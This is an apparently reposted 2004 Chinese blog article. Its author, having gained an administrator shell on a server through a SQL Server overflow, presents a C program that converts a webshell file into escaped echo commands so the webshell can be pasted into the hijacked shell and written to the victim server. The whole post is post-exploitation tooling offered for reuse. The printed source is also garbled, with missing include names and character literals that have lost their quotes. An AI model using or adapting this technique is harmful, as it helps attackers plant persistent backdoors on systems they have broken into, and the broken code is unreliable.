首页 > 程序开发 > 综合编程 > 安全编程 >

一个echo文件的程序

2004-10-21

上次用sqlhello溢出时拿到一个shell,试了试at,可以执行,看来是管理员权限,可是却不能用net、ftp、tftp命令。晕,那偶怎么上传文件?呵呵,还好,难不到我。就将就那个shell在命令行下面echo一个webshell上去,然后再做打算。虽然只ec

上次用sqlhello溢出时拿到一个shell,试了试at,可以执行,看来是管理员权限,可是却不能用net、ftp、tftp命令。晕,那偶怎么上传文件?

呵呵,还好,难不到我。就将就那个shell在命令行下面echo一个webshell上去,然后再做打算。

虽然只echo了一个几行的小程序,但是累死了,所以我就用C写了一个程序,以备下回遇到。

原理很简单啦,就是在每一行代码前加"echo ",后面加" >> echofile.txt",注意要在特殊符号(<、>、&、|、"、^)前加^。

代码如下:
#include "stdio.h"
#include
#include
void echo(char so[30] ,char sa[30])
{
FILE *fp1,*fp2;
char ch;
if((fp1=fopen(so,"r"))==NULL){printf("Dont open file %s ",so);exit(0);} //打开要echo的文件
if((fp2=fopen("echofile.txt","w"))==NULL){printf("Dont creat file ");exit(0);} //生成结果文件echofile.txt
fputs("echo ",fp2);
ch=fgetc(fp1);
while(!feof(fp1)) //从echo文件依次读取一个字节
{
if(ch==^||ch==<||ch==>||ch==&||ch==|||ch==") //处理特殊符号(即在之前加"^")
{
fputc(^,fp2);
fputc(ch,fp2);
}
else if(ch== ) //若成立,则到了一行末;末尾加上重定向语句">> XXX"
{
fputs(" >> ",fp2);
fputs(sa,fp2);
fputs(" ",fp2);
fputs("echo ",fp2);
}
else //其它情况就直接把字符放到结果文件
{
fputc(ch,fp2);
}
ch=fgetc(fp1);
}
fclose(fp1);
fclose(fp2);

printf("Done! ");
}
int main(int argc, char* argv[])
{
if(argc!=3)
{
printf(" -------------------------------------------------------------------- ");
printf("| Echo File , by lake2 (http://mrhupo.126.com) 2004/10/09 | ");
printf("-------------------------------------------------------------------- ");
printf("-I will write a file to echo-file lake2.txt :) ");
printf("-Usage: ");
printf("%s ",argv[0]);
printf("-Examples: %s cmd.aspx cmd.txt ",argv[0]);
return 0;
}
echo(argv[1],argv[2]);
return 0;
}

参数有两个,就是shell文件名和要生成的文件名,程序将生成echofile.txt这个文件,里面包含了要echo的文件所要输入的所有命令(呵呵,有时最后一行会多一个echo,不过没关系的^_^)。

现在就可以一行一行的复制了?呵呵,当然不。直接复制所有内容粘到shell就是了。命令行下有回车符它会自动执行前面的命令。呵呵,赶快去看看,webshell是不是生成了^_^

相关文章
最新文章
热点推荐